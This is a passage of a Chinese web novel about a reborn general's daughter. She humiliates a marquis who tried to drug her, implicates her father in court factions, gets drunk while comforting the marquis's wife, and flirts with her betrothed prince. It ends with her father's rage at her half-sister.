庆公公以为安平侯真被磕死了,见谢窈又扯起他的脑袋,甚至这次把他的头扯得更高了,才知道还没结束。 因为长公主那声“继续”,没有人敢出言阻止。 庆公公嘴唇哆嗦道:“二小姐,他,他毕竟是陛下的弟弟……” 谢窈听到了,于是压低了几寸,在庆公公惊恐目光中,再次狠狠一顿! “砰!” 安平侯被撞醒,只来得及发出一声凄厉惨叫,就被谢窈一脚踹飞八丈远,再次昏死过去! 长公主终于满意了,收回看风景的视线,却看都没看身后的人,淡声道:“走吧。” 侍女搀扶着长公主,悠然离去。 谢窈则对庆公公招了招手,笑容纯善灿烂:“我这人心善,见不得血腥,所以不愿打死侯爷,劳烦庆公公清理一下。” “好说,好说……”庆公公懵懵地点头。 应声之后,他才意识到谢窈说的什么。 啊?她没有把侯爷打死,是心善?见不得血腥? 半晌,庆公公缓过神:“来人,把安平侯送回侯府,听候陛下发落。” 安平侯被两个小太监扛到自家车夫肩上,昏昏沉沉地被带走。 庆公公又招呼人,收拾禅房的烂摊子。 看见地上破碎的茶盏,他眼神一凝,主动踩了一脚,掩盖了地上的水渍:“这可是佛门净地,还不把禅房打扫干净!” “再将枝姑娘和那丫鬟给文昌伯送回去,告诉伯爷,好好……给他的女儿备嫁吧。” 文昌伯有两个女儿,原本要备嫁的只有谢窈,经过今日的事,恐怕谢枝,也不得不嫁出去了。 众人的指指点点中,谢枝裹紧身上破烂的衣裙,与丫鬟一同逃离禅房。 庆公公驱散了围观的香客,这才看向谢窈,眼底透着几分探究,语气却恭维道:“谢二小姐,好手段啊。” 事到如今,他怎会看不出来,安平侯和那位枝姑娘,是想对谢二小姐动手。 却不知怎的,被谢二小姐反将一军。 谢窈垂眸道:“公公说笑了,不过是有人自己找上门来,我总不能坐以待毙。” 庆公公眯起眼睛,试探地问:“哦?谢二小姐早就知道她要动手?” 喜欢渣爹杀妻灭女?重生断亲,全族祭天请大家收藏:()渣爹杀妻灭女?重生断亲,全族祭天更新速度全网最快。 第111章 暗示渣爹结党,当浮一大白 谢窈淡然道:“闺阁里的勾心斗角,公公在宫里应该见的更多才是。” 庆公公一愣,随即点了点头,那倒是。 当今陛下还好,还是少壮之年,没有册立皇后,除了诞下胜月小公主的颖妃,后宫妃嫔们都以太后为尊,一片祥和。 先帝那时,可是腥风血雨。 沈皇后被赐死,当初五王之乱,也是因为五位亲王,每个的母家都十分强势。 不过他还是又问:“那侯夫人被您请来成佛寺,也是事先预料?” 谢窈道:“我只是在前几日冬至宴时,与侯夫人交谈甚欢,又想到谢枝或许会在成佛寺对我不利,才邀请她同行,想请她为我说话罢了。” 她顿了顿,眼底适时地流露出几分迷茫。 “但我也没想到,她竟然在山路上跪拜叩首,替安平侯祈福。” “早知她对侯爷如此深情,倒不如让公公你成全他们,也好过这二人饥渴难耐,在佛寺里干柴烈火,玷污了佛门净地。” 庆公公尴尬地笑了两声。 忽然,他脑海中一道电光闪过,心头一震! 只是闺阁女儿之间的争斗,谢枝给谢二小姐下药,这就够了。 可偏偏谢枝今日还跪行上山,特意让自己看见。 若不是安平侯夫人在,他真会被谢枝对安平侯的情意感动,顺水推舟,卖这位谢家庶小姐一个人情。 现在想来,是一阵后怕。 如果他成全了谢枝和安平侯,谢枝又借安平侯的手毁了谢二小姐…… 先不提靖北王会不会雷霆之怒,谢二小姐是已经被册封为靖北王妃,与庶姐的未婚夫婿在佛寺,出现这样的事,陛下的威仪何在! 庆公公又想到,谢枝一个闺阁女子,怎会知道他今日,要代表皇上来见长公主? 虽然陛下时常会来栖凤山看望长公主,但具体的日子,极少有人清楚,因为没人敢打听陛下行踪。 这是太后一党,想借机毁了谢二小姐和靖北王的婚事,打皇上的脸! 好个文昌伯,表面浓眉大眼的无权清贵,背地里,竟然结党营私,是太后党羽! 几个呼吸之间,庆公公就想明白了一切。 再看眼前的谢窈,他语气郑重起来,试探询问:“谢二小姐心细如发,奴才多谢您提醒,只是,今日之事,奴才若如实禀报陛下,或许会牵扯到文昌伯。” 谢窈等的就是这句话。 让皇上发觉谢明安和太后勾结,才是她此行最大的目的。 如果牵扯不到谢明安,她干嘛和庆公公说这些废话? 谢明安曾经对上级行贿,这在皇上眼里,根本不算什么,就算有罪证,也不会治罪。 可如果他表明清正忠直,实际上是太后党羽,这,才是皇上真正在意的。 她唇角勾起一抹洒脱笑容,道:“谢窈先是陛下的臣民,健妇营的将士,然后才是文昌伯的女儿。” “何况,我就要嫁给王爷,既已出嫁,便只是萧家妇,不再做谢家女,公公请自便。” 庆公公沉吟片刻,谢二小姐如此洒脱,并未替她父亲求情,倒是卖了他一个人情,让他回禀时好说多了。 他陪着笑脸,向谢窈道谢后,告了辞。 谢窈走出院子,回去拿上自己的刀,就要下山。 这时,安平侯府的马车,出现在寺庙门口。 一阵寒风,吹起马车的窗帘,露出一个脸上印着青紫巴掌,额头还包缠着好几层绷带的脑袋。 “谢窈,”安平侯声音嘶哑,眼神阴森,恨不得活剐她,“你给本侯等着。” 话音未落,谢窈瞬间挥出一刀。 吓得他急忙缩回脑袋,但撤得太急,后脑勺一下磕到木板上。 寒光闪过,窗帘一分为二。 冷风灌到车内,吹得安平侯脸色铁青。 谢窈面无表情地和他对视,一字一顿:“那我就恭候侯爷,再来找死。” 安平侯被她眼神里的狠戾震慑,张了张嘴,让车夫快点赶车。 谢窈望着马车消失,缓缓收了长刀。 原本,她可以只断安平侯一条腿,给他个教训。 但他敢用药算计自己,让她骤然想起前世。 陆慎言曾把她从公堂接回后,给她灌了一壶毒酒,毒哑了她。 那不是普通的哑药,而是如同烈炭入喉,生生烧毁喉咙,让人痛不欲生。 陆慎言道:“这是为夫跟安平侯讨的,侯爷说,他曾给不听话的歌姬喂了这药,歌姬不但哑了,还疼得上吊自尽了……窈儿,疼吗?你会不会也这样?” 谢窈绝不自尽。 她是从尸山血海里爬出来的人,命是自己的,凭什么为了一个畜生寻死? 任何时候,她都不会放弃生的希望。 而今日,让安平侯自食恶果,不止是报私仇,更是她想起了安平侯凌虐的那些女子。 送谢窈等人下山的,还是长公主身边的小太监双喜和一名车夫。 马车换成长公主别院的一辆寻常车架,谢窈坏的那辆车,被留了下来。 谢窈带上了江丛嫣。 本小章还未完,请点击下一页继续阅读后面精彩内容!车内,江丛嫣抱着双臂,鬓发因为之前和谢枝厮打在一起,此刻仍旧散乱着。 谢窈想帮她整理一下,但想了想自己的手艺,还是算了。 方才江丛嫣在禅房内说要和安平侯和离时,有多决绝,此刻就有多惶然,再也没了上山时谈笑风生的样子。 谢窈没有说话,她不太擅长安慰别人,只能让车夫行慢一些。 马车离开栖凤山,进京后,周围热闹起来。 行至东街的云鹤楼,谢窈见江丛嫣一直呆呆的,终于还是从口袋里翻出一颗桂花糖:“甜的,吃吗。” 江丛嫣听到外面喧嚣的叫卖声,低头,看了看谢窈手里的桂花糖,眼睛一酸,“哇”地哭了出来。 谢窈手足无措地收回糖,吓得只好自己吃了。 她想起,其实江丛嫣比她也没大几岁。 江丛嫣望着云鹤楼旁边一家点心铺子,眼泪控制不住地落下。 “我和李钰大婚那日,他骑着马,我坐在花轿上,他路过这里,亲自买了蝴蝶酥送上来,说时辰还早,夫人先吃些东西。” “可是后来,他再也……再也没有……” 谢窈发现江丛嫣哭了跟自己的糖没关系,松了一口气:“停车。” 她取出一包银两:“劳烦双喜公公,去旁边点心铺子,有多少蝴蝶酥,都买来。” 随即,谢窈掀帘下车,扬声道:“下来。” 江丛嫣犹豫片刻,对上谢窈清洌明亮的眼睛,鬼使神差地跟下了车。 几人走进云鹤楼,正在算账的掌柜看见她们,立即认了出来。 那不是之前在楼里暴打陆书生的谢家二小姐吗,还是……东家的王妃! 他一边让人招呼,一边又让人快去通知东家。 谢窈知道江丛嫣是个极其体面,甚至端庄到压抑感情的女子,所以要了个雅间。 她要了一坛桂花酿,给江丛嫣倒一杯酒,又给自己倒了一杯。 忍冬问道:“二小姐要喝酒?” 谢窈摇头:“我不喝,这都是给她的。” 她喝了酒,形象不好。 忍冬松了一口气。 看来,少将军对自己还是有自知之明的。 下一刻,谢窈端起酒杯,仰头一饮而尽:“江小姐,今日之事,当浮一大白。” 先不说她狂揍安平侯很痛快,也不说与箫熠之的婚事,板上钉钉。 今日,她得到了长公主的信任,并且让庆公公,去皇上面前给谢明安上眼药,就值得痛饮一杯! 喜欢渣爹杀妻灭女?重生断亲,全族祭天请大家收藏:()渣爹杀妻灭女?重生断亲,全族祭天更新速度全网最快。 第112章 醉酒后,谢窈暴露本性? 烈酒入喉,谢窈脸色平静得很。 忍冬却暗道,这不会是暴风雨前的宁静吧。 她默默坐得离谢窈远了一些,并且从袖中取出一张草纸,团成两个纸团,塞到耳朵里,动作莫名娴熟。 蒲苇不明所以,疑惑地问:“这是在干嘛?” 忍冬没有回答,露出一个“等会儿你就知道了”的眼神。 少将军在军中,并不以谢家二小姐身份示人,而是跟着顾大将军的姓氏,化名顾刀。 为了不堕大将军唯一徒弟的名声,她文韬武略样样精通,待上尊敬,御下有方,打遍边军中将领,还深受众将士爱戴。 就有一点,军中除了她这个女军医,剩下的,都是男人。 少将军在健妇营训练时还好些,可等她长到十三四岁,开始跟大将军征战,除了打仗,就是练兵,练刀,练武,想说心里话,也找不到女孩说。 也只有在休沐时,带着自己,去颜娘子开的酒肆听书,看话本子,她才能短暂松懈下来。 有一次,颜娘子看少将军实在古板,哄骗少将军,喝下了一坛酒…… 少将军,打开了自己尘封十几年的话匣子…… 忍冬回想起那个场景,不忍直视。 听到谢窈的话,江丛嫣却苦涩地摇头:“如今的我,恐怕已经是全京城的笑柄了,这有什么值得喝酒庆祝的。” “笑柄?” 谢窈挑眉,忽然,竖起了一个大拇指,一本正经地开口。 “被我揍成狗的,是安平侯,与有妇之夫在寺庙厮混的,是谢枝,丢尽脸面的,是侯府,他们才是笑柄,你不是,你是这个。” 江丛嫣被她说得一愣,感觉喝了酒的谢二小姐,和之前不太一样。 她其实想和谢窈说点什么,但交浅言深,两人其实不太熟。 而且,谢家二小姐除了打人时,其他时候都表现得温柔克制,是个比自己小好几岁的姑娘,不像她,已经嫁为人妇多年,很多事,她无法对一个小姑娘说出口。 江丛嫣抹了一把眼泪,猛地灌一口酒,哽咽道:“喝了,是不是就能忘了。” 谢窈认真地安慰:“不能,喝酒,是让你更记住今日发生的一切,不要再重蹈覆辙。” 江丛嫣沉默了。 蒲苇:“小姐确定是在安慰侯夫人吧。” 忍冬:“不确定。” 见江丛嫣哭得更厉害了,谢窈连忙挥动自己的大拇指:“江小姐,你是这个诶!你若能离开安平侯,福气还在后头呢!” 她脑袋有些晕,努力回想前世。 太后与皇上既然已经势同水火,安平侯必然会站在太后那边,早晚会连累江丛嫣。 如果江丛嫣回去后能和离,等以后,或许还能逃过一劫。 江丛嫣泪眼朦胧,心想,她总算发现谢二小姐的缺点了。 ——她不太会安慰人。 “可是,我与李钰……少年相识,他也曾对我很好很好……”她低声道。 谢窈竖起三根手指,大喊:“他在成佛寺,和谢枝苟合,仨人!这还好啊,侯夫人,你是不是……” 她又四处寻觅,语气委婉了一些:“双喜公公呢,让他去买蝴蝶酥,怎么一去不回,给侯夫人都喝饿了。” 江丛嫣哑口无言,眼泪却流得更凶。 她没有怪谢窈直言,只是一杯又一杯地喝酒,喃喃道: “我本以为,我已经习惯了为他善后,丫鬟被他弄残了,我去找大夫医治,还有被他害死的奴婢,我去求太后,让他给她们跪下……我以为他以后,会改的……可他却说,我变了。” 谢窈握着酒盏的手顿了顿,看着江丛嫣。 她曾认为,江丛嫣聪明而识时务,后来却发现,这个女人不过是强撑着侯夫人的体面,装出端庄骄傲的模样,过日子而已。 前世,她被谢枝和一众京中贵女围攻时,是江丛嫣出面阻止。 纵然那只是她的举手之劳,谢窈却还是愿意相信,那时候的她,对自己的善意,是真的。 天下女子,如自己这样,学得一身武艺,纵横疆场,肆意快活,生出不拘一隅之心的人,是少数。 而大多数,是像江丛嫣这样,像母亲那样,像韩思雪那样,被困在后宅,被礼义规诫驯服,蹉跎一生。 但即便是这样,李钰,谢明安,谢成柏,也配不上她们! 或许老天爷给她重生一次的机会,不止是要她,向那些害她的人复仇,更是让她,护下这些无辜女子。 “我……” 谢窈摸了摸江丛嫣的头发,想着自己的母亲许素素,弯眸道:“我不会看着你被困住的。” 江丛嫣抬起头,眼神迷茫。 谢窈回过神,意识到眼前的人不是母亲。 “你就放心吧,以后一个人过,日子肯定更好,”她咳了咳,又说,“你若能和安平侯和离,就不再是安平侯夫人,也不会被他束缚了。” 忍冬嘴角抽了抽。 二小姐好像在安慰侯夫人,又好像没有。 江丛嫣没再说话,已经醉倒在桌上,不省人事。 谢窈见状,仰头自己喝了一杯。 酒劲儿上来了,她猛地转身,眼睛亮晶晶地望着忍冬和蒲苇。 “忍冬……” 谢窈的声音柔和:“其实我一直想问你,你和靖北王身边的白侍卫,是不是以前认识啊。” 忍冬听到了,但她指了指自己的耳朵,装听不见。 谢窈又看向蒲苇,大大的眼睛里写满好奇,眉眼鲜活生动,显露出十七八岁少女的活泼。 “蒲苇姐姐,你以前在醉雪楼的时候,有没有遇见什么心仪的男子?” 蒲苇:“……” 有是有,但陆慎言不是……被谢二小姐打得满地找牙了吗。 什么叫哪壶不开提哪壶。 忍冬这才指了指自己耳朵里的纸团,回答蒲苇之前的问题:“现在你知道了吗。” 二小姐年幼时很顽皮,只是,她在军中九年,要一直压抑本性。 所以喝醉酒后的二小姐,就会直接暴露本性! 这时,靖北王的马车,在云鹤楼门口停下。 白术推着轮椅上的靖北王,进了楼内。 “王爷?!” 云鹤楼掌柜连忙出来迎接:“您怎么亲自来了。” 箫熠之垂眸,摩挲着手里的香囊,淡淡地说:“本王来接王妃,回家。” 喜欢渣爹杀妻灭女?重生断亲,全族祭天请大家收藏:()渣爹杀妻灭女?重生断亲,全族祭天更新速度全网最快。 第113章 言语冒犯?醉后说王爷好看 雅间内,谢窈抱住了蒲苇的腰。 她仗着自己有武功,便扣着对方手腕,不松手。 “你看看人家蒲苇!” 谢窈索性把头埋在蒲苇胸口,半晌,抬起头,不高兴地瞪忍冬:“蒲苇就让我抱,你呢,你为什么不让我抱一抱!” 蒲苇羞赧道:“……奴家是没法反抗。” 忍冬:“人家是反抗不了。” 虽然二小姐什么都好,但她可不想被抱住,因为被抱住了,二小姐必然会开始在自己耳边叨叨叨。 从问你家几口人到说我家几口人,从诗词歌赋聊到人生哲学,从军中哪个男子最俊秀,到你猜隔壁老刘是不是暗恋颜娘子,最后还要总结一下,我母亲特别好…… 果不其然,谢窈开始了。 “蒲苇你以前在醉雪楼最见多识广了,你有没有见过那种,既英俊潇洒,又威猛雄壮,还武功高强,就是那种特别好看,特别好看的……男子呀。” 说着,谢二小姐露出几分羞涩,这是她清醒时绝不会做的。 蒲苇一开始还好好回答:“奴家见过最俊美的男子,就是陆慎言了,但他既不威猛,也不会武功,小姐问这个做什么。” 谢窈:“我娶,不是,我嫁啊。” “小姐慎言。” 忍冬嘴角抽了抽,心想还好现在雅间里,就她们主仆三人,加上一个已经不省人事的安平侯夫人,否则,这话传出去,二小姐又要出名了。 “算啦。” 谢窈摆了摆手,一脸遗憾。 “世上不存在那样的男子,我算是发现了,多情女子薄情郎,负心多是读书人,你看看……” “小姐是在说陆慎言?” “我说安平侯!嗝——”谢窈打了个酒嗝,“但是陆慎言,也不是什么好东西。” “男的,都不是什么好东西。” 她喃喃了一句,想到自己的母亲,心里酸酸的。 蒲苇轻柔地抚摸谢二小姐乌黑的头发,在谢窈清醒的时候,她会不由自主地信任她,追随她。 而现在,看着喝醉后的谢二小姐,她则像个温柔的大姐姐一样,照顾着小妹妹。 “醉得太重,回府怕是不好,”蒲苇终于摆脱了谢窈的怀抱,“我去给小姐要碗醒酒汤吧。” 忍冬点头:“还有安平侯夫人也得来一碗。” 蒲苇要走,谢窈自然不让。 “怎么不让我抱,怎么都不让我抱抱!” 她猛地窜起来,像只灵活的小猴子,就要捉对方的衣角。 没想到,蒲苇正好打开了包厢的门,迎面,看见了打算敲门的白术侍卫。 后面,跟着手拎一大包蝴蝶酥的白蔹侍卫和双喜公公。 而旁边,是靖北王! 她脸色一变,立即跪下行礼,大声道:“奴婢见过王爷。” 希望她声音大一些,能让小姐快点清醒过来。 谢窈没捉到人,“啪叽”坐回坐椅上,一脸迷茫地梗着脖子,仰头张望,口中喃喃:“王爷?哪儿呢?” 白蔹浑身紧绷,压抑着嘴角抽动。 谢二小姐……不会因为王爷坐在轮椅上,所以没看见他吧! 箫熠之深沉的目光,落在面泛红晕的谢二小姐身上。 只见她斜倚着坐椅,月白襦裙的领口微松,眉眼生动,唇瓣染着晶莹的酒水,显得红润动人。 “本王在这儿。”他盯着她,主动开了口。 白蔹骤然松了一口气,还好王爷没跟谢二小姐计较。 谢窈这才慢吞吞地低头,视线先看见蒲苇,然后往上移。 轮椅上的男子身着玄色襕袍,桃花眸幽深蛊惑,仿佛一池深邃冰凉的潭水,将她拽了进去。 谢窈睁大眼睛,再次站起身来,两步跑到箫熠之面前,蹲下身,仰头凝视着他。 她激动地说:“原来这世上,真的有既英俊潇洒,又威猛雄壮的男子呀!” “什么。”箫熠之的呼吸漏了半拍。 连带着白蔹,也震惊地瞪大双眼。 亏他刚才还担心,喝醉的谢二小姐会不会对王爷言语冒犯,得罪了王爷。 现在看来,确实是言语冒犯,但王爷应该很受用吧…… 等等,好像不止是言语冒犯! 谢窈已经上手了,食指轻轻戳了戳王爷白皙冷峻的脸,动作轻薄,语气是毫不掩饰的惊艳。 “王爷生得真好看,特别好看,眼睛好看,鼻子也好看,你是不是还文武双全,武功高强?王爷喜欢读什么书?你喜欢诗词还是书画?对哦,王爷还领兵打仗过,肯定文武双全。” 忍冬露出果然如此的表情。 谢窈脸颊带着醉红,眸底含着水色,让箫熠之浑身都僵住了。 一时之间,从脑门的热意在胸口四处乱窜。 他竟然没想到要把她推开,而是维持着沉静冷面:“谢窈,你酒后胡言些什么。” 一开口,嗓音喑哑。 “我没有胡言。” 谢窈反驳道,眼神仍旧黏在他脸上:“王爷在我心里,就是最好看,最好看的男子。” 白蔹感叹,这话倒说的没错,王爷可比什么安平侯啦,路过的陆书生啦,俊美多了。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!只是,谢窈的目光慢慢下移,落在了箫熠之的腿上。 她叹了口气,动作温柔地,摸了摸他的膝盖! “可惜王爷坐在轮椅上,否则,一定很高大威猛。”谢窈又遗憾地说道。 话音落下,雅间内,骤然陷入死寂。 只能听见安平侯夫人倒在桌上,匀称的呼吸声。 白术白蔹更是面色微变,欲言又止。 这是谢二小姐在王爷面前,第几次提到王爷双腿了? 之前还肆无忌惮地说,王爷如果腿脚不好,就派人去云鹤楼买吃食。 这是能说的吗! 忍冬咬了咬牙,跪上前道:“二小姐醉后失言,求王爷恕罪。” 蒲苇伏跪在地上:“求王爷恕罪。” 白蔹也忍不住了:“王爷,谢二小姐是喝醉了。” 箫熠之垂眸,看着谢窈,没有说话,也没有动怒。 白蔹正要再求,谢窈却仰起头。 她微凉的指尖,掠过箫熠之的脸庞,捧着他的脸,与他对视。 “王爷的腿,是在战场上受的伤,是为大燕伤的,不管你是不是坐在轮椅上,都是大燕的英雄!”谢窈认真地说。 她转身拉住忍冬,又道:“你看,我家忍冬,她从前治过许多许多伤兵,军营里以前有个人从马上掉下来,摔断了腿,她治好后,能跑能跳的,回头——” 谢二小姐又打了个酒嗝。 “回头就让她给王爷看看。” “王爷这么厉害,以后,一定能重新站起来!” 谢窈模模糊糊地回想起,上一世,自己临死前看见的箫熠之,是骑着马的。 “是吗。”箫熠之的声音微哑,感受到脸上的温度,喉咙上下滚了滚。 谢窈点头:“当然啦。” 箫熠之垂眸,看见她望着自己,真挚柔和的眼神,眼里,没有同情和怜悯。 她是真的坚信,自己能站起来。 喜欢渣爹杀妻灭女?重生断亲,全族祭天请大家收藏:()渣爹杀妻灭女?重生断亲,全族祭天更新速度全网最快。 第114章 喊王爷母亲?添一把火! 谢窈说得字正腔圆,但说完,身子一软,眼前的靖北王变成了两个。 箫熠之正要把放在自己脸上的手扒拉开,谢窈就控制不住地抱住他的双腿,手臂顺势环住了他的腰。 箫熠之呼吸沉了沉。 本想一把推开,可低头时,却看见谢窈长睫微颤。 朦胧的光影落在她莹润透红的脸上,似乎卸下了防备,她显得格外柔和,明媚。 这么近的距离,箫熠之嗅到她身上淡淡的酒气,还有一丝桂花的气息。 他指腹悄然一颤,忽然觉得嗓子有些干。 而忍冬看到谢窈抱住了王爷的腿,悬着的心,终于死了。 因为…… 只见谢二小姐伏在王爷双膝上,脸颊蹭了蹭他的衣袍,吐出清晰的两个字: “母亲。” 箫熠之僵住。 刚刚缓和的气氛,再次凝固。 瞬间,白蔹双目怒睁。 他挠了挠耳朵,猛地看向他哥白术,用眼神询问:他没听错吧,谢二小姐管王爷叫母亲? 白术的冰山脸,僵硬地点了两下,表示自己也听到了。 箫熠之看着怀里毛茸茸的脑袋,额角跳了跳,抬起手,宽阔的手掌落在谢窈手背上,轻而易举就将她的手全部覆盖。 又听到谢二小姐继续唤道:“母亲,你不抱我,就不能让我抱抱你嘛。” “母亲,我会保护好你的,你不要怕。” 她喃喃自语,语调透出几分女子的娇嗔,缠在箫熠之的手臂用了力气,钳得愈发紧。 最后还不忘记感叹:“母亲,你的腰好细。” 箫熠之:“……” 他活了二十四年,头一回被人这样冒犯。 不过,谢窈毕竟是自己王妃,冒犯也无碍。 可他头一次,被人抱着喊母亲! 忍冬悄悄抬头。 王爷虽然面沉如水,眼中透着薄怒,但是,竟没有任何要推开二小姐的迹象。 甚至他还拉住了二小姐的手,反扣着! 忍冬的表情复杂起来。 她也就没敢说,二小姐只要喝醉了酒,话痨口无遮拦是其一,其二,就是喜欢抱着女子喊母亲,或者是跟别人说伯夫人有多好。 不管是她还是颜娘子,都被二小姐叫过母亲。 至于这次为何抱着王爷喊,可能是因为喝太多了吧…… 终于,谢窈脑袋一歪,彻底睡死过去。 箫熠之闭了闭眼,再睁开时,眼神清明静默:“将她扶起来,送回伯府。” “是。”忍冬和蒲苇连忙应声。 箫熠之挥手,白术推动轮椅,将他推上停在云鹤楼门口的王府车架。 双喜公公和江丛嫣的丫鬟,将江丛嫣扶到长公主送她们的马车上。 忍冬蒲苇本打算将谢窈也搀上马车,靖北王的声音,忽然在她们身后响起。 “上来。”王爷道。 白蔹:“两位姑娘带谢二小姐上车吧,王爷送你们回伯府。” 两人不敢推脱,只好架着软倒的谢窈,上了王爷的车架。 车厢内并不华贵,但炭火温暖,极其宽敞,两边都是软垫的坐椅,正后方更是能放下王爷偌大的轮椅。 忍冬将谢窈安置在一侧,靖北王确定谢窈睡着后,就坐在自己的轮椅上,并没有理会她们。 很快,马车到了伯府门口,白术掀开车帘。 蒲苇正准备上前叫醒谢窈,或者直接将人接下去,一直闭目养神的靖北王,忽然睁开了眼。 他从袖中拿出两个香囊,一个是素色底子,绣着青松纹样,另一个是藕荷色绣萱草的。 蒲苇想起来,二小姐之前,求王爷帮忙绣个仙鹤的给外祖父,今天又让王爷再绣个萱草的给伯夫人。 没想到,王爷还真绣了! 白术看见香囊,就想到今天自己和白蔹,在准王妃的院子里,陪着王爷绣了一天香囊。 王爷将香囊递给蒲苇:“等她醒了,替本王交给她。” 蒲苇看见香囊上的纹样,想询问昨天仙鹤的那个去哪儿了,但没敢开口。 王爷却不问自答:“仙鹤那只,本王没绣好,转告她,以青松赠予外祖父,也有福寿延年之意。” 也只有白蔹听到王爷的话,暗中腹诽。 王爷的手艺,怎可能绣不好仙鹤,分明是因为那只香囊谢二小姐绣过,被他自己昧了。 王爷又深深地看了谢窈一眼:“照顾好你家小姐,三日后,本王前来迎娶。” “是,王爷。” 蒲苇和忍冬小心翼翼地扶着谢窈,进了伯府。 箫熠之在车窗望着谢窈的身影消失在门后,才收回目光。 “王爷,回府吗?” 箫熠之摇头,看着自己的腿,眼前浮现出谢窈伏在自己膝上,说她信他能站起来的模样。 “天色还早,去马场。” 这边,谢窈被扶回晚香院。 “小姐!” 七两看见到她们回来,亢奋地一嗓子,让谢窈浑身一抖。 “今日许舅爷派人传来消息,大喜——” “嘘!”忍冬打断他说话,“去去去,没看见二小姐还醉着嘛,什么事等她醒来再说。” 这章没有结束,请点击下一页继续阅读!七两嘿嘿笑着:“行,那小姐先休息。” 谢窈被他喊醒了,迷迷糊糊地睁开眼,酒醒了几分。 她被搀扶到卧房,喝下一碗醒酒汤,刚躺下,就又强行支撑着身子坐起来。 “忍冬。” “二小姐醒了?” 谢窈脸颊泛红,隐隐记得自己看见了箫熠之,惊为天人来着。 具体什么的,倒是记不清了。 箫熠之确实是她见过最为俊美的男子,那些怕他的人,都没眼光。 爱美之心,人皆有之,她喝醉后轻薄,不,调戏,不,恭维几句即将成为自己夫君的人,这怎么了。 “是王爷送我们回府的?” 蒲苇和忍冬对视,心想,不仅如此,二小姐还抱着王爷喊母亲,不知她还记不记得。 “正是,咱们是和王爷一起,坐王府车架回来的,双喜公公已经将侯夫人送回侯府了,二小姐不用担心。” “谢枝回来了吗?” 蒲苇道:“奴婢刚才看见,她和咱们前后脚进的门。” 谢窈眯起眸子,往枕头上一靠。 “你去回禀伯爷,不,去告诉朱嬷嬷一声,就说父亲给我准备的那辆马车,路上出事,被庆公公好心借走去修了,要过些日子才能送回来。” 她的声音有些许醉酒后的沙哑,但不影响字句清晰。 出了这样大的事,谢明安怎么能无动于衷呢。 她得给这把火,再添一把柴。 谢窈闭上眼,睡着前又说:“谁想看,谁就去找孙姨娘,问她十遍《女诫》抄完了吗。” 忍冬疑惑地问:“看什么?” “看热闹,”谢窈打了个哈气,困得头晕,遗憾地说,“我是看不到这样的热闹了。” 不过,摸到了王爷的细腰,她也很满足。 她摩挲着掌心,努力回味王爷脸蛋和细腰的手感,沉沉睡去。 另一边,孙姨娘房里。 她还在禁足期间,身边只有一个服侍的小丫鬟。 烛火通明,孙姨娘终于抄完十遍《女诫》,放下笔,任由丫鬟给自己按着酸痛的肩膀。 “每天这个时辰,枝枝都会来给我请安,今日怎么还没来?”她问道。 喜欢渣爹杀妻灭女?重生断亲,全族祭天请大家收藏:()渣爹杀妻灭女?重生断亲,全族祭天更新速度全网最快。 第115章 姨娘看透渣爹,庶姐只能做妾 “这……”听到孙姨娘询问,丫鬟欲言又止。 孙姨娘眉毛一竖:“吞吞吐吐什么,是不是有事瞒着我。” 丫鬟鼓起勇气,悄声道:“奴婢昨日听大小姐身边的蔓儿姐姐说,大小姐和安平侯情投意合,侯爷不日就要来家里提亲,让她去做侧夫人呢。” 孙姨娘一惊,之后又是一喜。 惊的是她竟不知谢枝什么时候傍上了安平侯,喜的是,若女儿能做安平侯的侧夫人,也算一桩好姻缘。 可恨刘嬷嬷死后,她身边没了心腹,连这样的消息,都是现在才得知。 “好,好啊,枝枝长大了,出息了,不辜负为娘对她的教导。” 孙姨娘抚着自己肚子,眼神泛起贪婪。 “等枝枝做了侯府侧夫人,我再为伯爷诞下儿子,谢窈那丫头嫁出去之后,这伯府的后宅,还是在我手里。” 她想起那日,平时一声不吭的许素素站出来,夺走她中馈之权时的情景,嘴角扬起一抹冷笑。 “她这个泥塑的伯夫人,早晚,还是得滚回她的静竹轩。” 丫鬟跟着谄媚:“姨娘说的是,伯爷心里是有您的,等您这胎坐稳,连伯夫人,都得看您脸色。” “那是自然。” 孙姨娘道,她还想生下伯爷的儿子之后,求伯爷抬自己做平妻。 “可惜了谢窈那个死丫头,我除不掉,就让她去伺候靖北王那个残废。” 这时,七两前来:“孙姨娘,伯夫人派小的来,要您抄写的《女诫》。” 孙姨娘上下打量这个昔日自己院里的小厮,阴沉地冷哼:“拿去吧,我倒要看看她许氏,能得意到几时。” 七两收好芝黛给出的原本,检查完孙姨娘抄好的《女诫》,这才抬起头。 他微微一笑:“伯夫人能得意几时,小的不知道,小的却知道,姨娘得意的事,怕是要落空了。” 孙姨娘大怒,拿起一个茶盏就摔到地上:“好啊,现在连一个小小下人,都敢这么跟本夫人说话了,你以为你抱住谢窈大腿,本夫人就奈何不了你了?” “芳儿,给本夫人打烂他的嘴!” 四下无人,她再也不用装什么劳什子贤妾,直接下了命令。 七两有些身手,一侧身,躲过茶盏,后退出屋子。 孙姨娘正要让丫鬟追,院外,忽然传来“咣当”一声。 七两站到角落里,看起了热闹。 孙姨娘跑出来,就见女儿谢枝被两个下人拖着扔进院里,发髻散乱,衣裙也不成样子。 “姨娘,救救我……姨娘……” 谢枝一抬头,脸色还带着几道血痕,额头更是一片青紫红肿。 “哭什么,怎么回事?” 孙姨娘心疼地上前,用帕子擦她的脸。 “不是说安平侯看上你,出什么事了,难道是安平侯敢欺负你?” 没等谢枝回话,门口响起一声怒喝:“孙馨兰,这就是你教出的好女儿!” 谢明安脸色铁青地闯进来,一脚踹翻旁边的圆桌。 “欺负?她还有脸说自己被欺负!”他指着谢枝的鼻子骂道。 “你女儿和丫鬟三人,在成佛寺跟安平侯厮混,被长公主和满寺的香客看见,还被安平侯夫人逮个正着!现在全京城都在传,我谢家出了个不知廉耻的荡妇!” “父亲,枝枝没有,枝枝是听了父亲的话,一路叩拜去成佛寺给侯爷祈福,想让庆公公成全我们啊……”谢枝倒在孙姨娘怀里,哭诉起来。 “是谢窈,都是谢窈给我和侯爷下了药,是她算计我!”她声音凄厉沙哑。 孙姨娘还懵着,努力接收女儿的话。 “你做出这种丑事,有脸怪本伯?”谢明安眼神变狠,一脚踹在她身上。 谢枝被踹出半丈,痛呼起来。 “自己烂泥扶不上墙,本伯教你了什么,你又做了什么?本伯让你去讨好安平侯,不是让你在佛寺做丢人现眼之事!” 孙姨娘扑过去,护住谢窈,哭求道:“伯爷,枝枝还小,只是一时糊涂,求您饶了她一次吧……” 谢明安:“把孙氏拉开,她有孕在身,别为这个蠢货生气。” 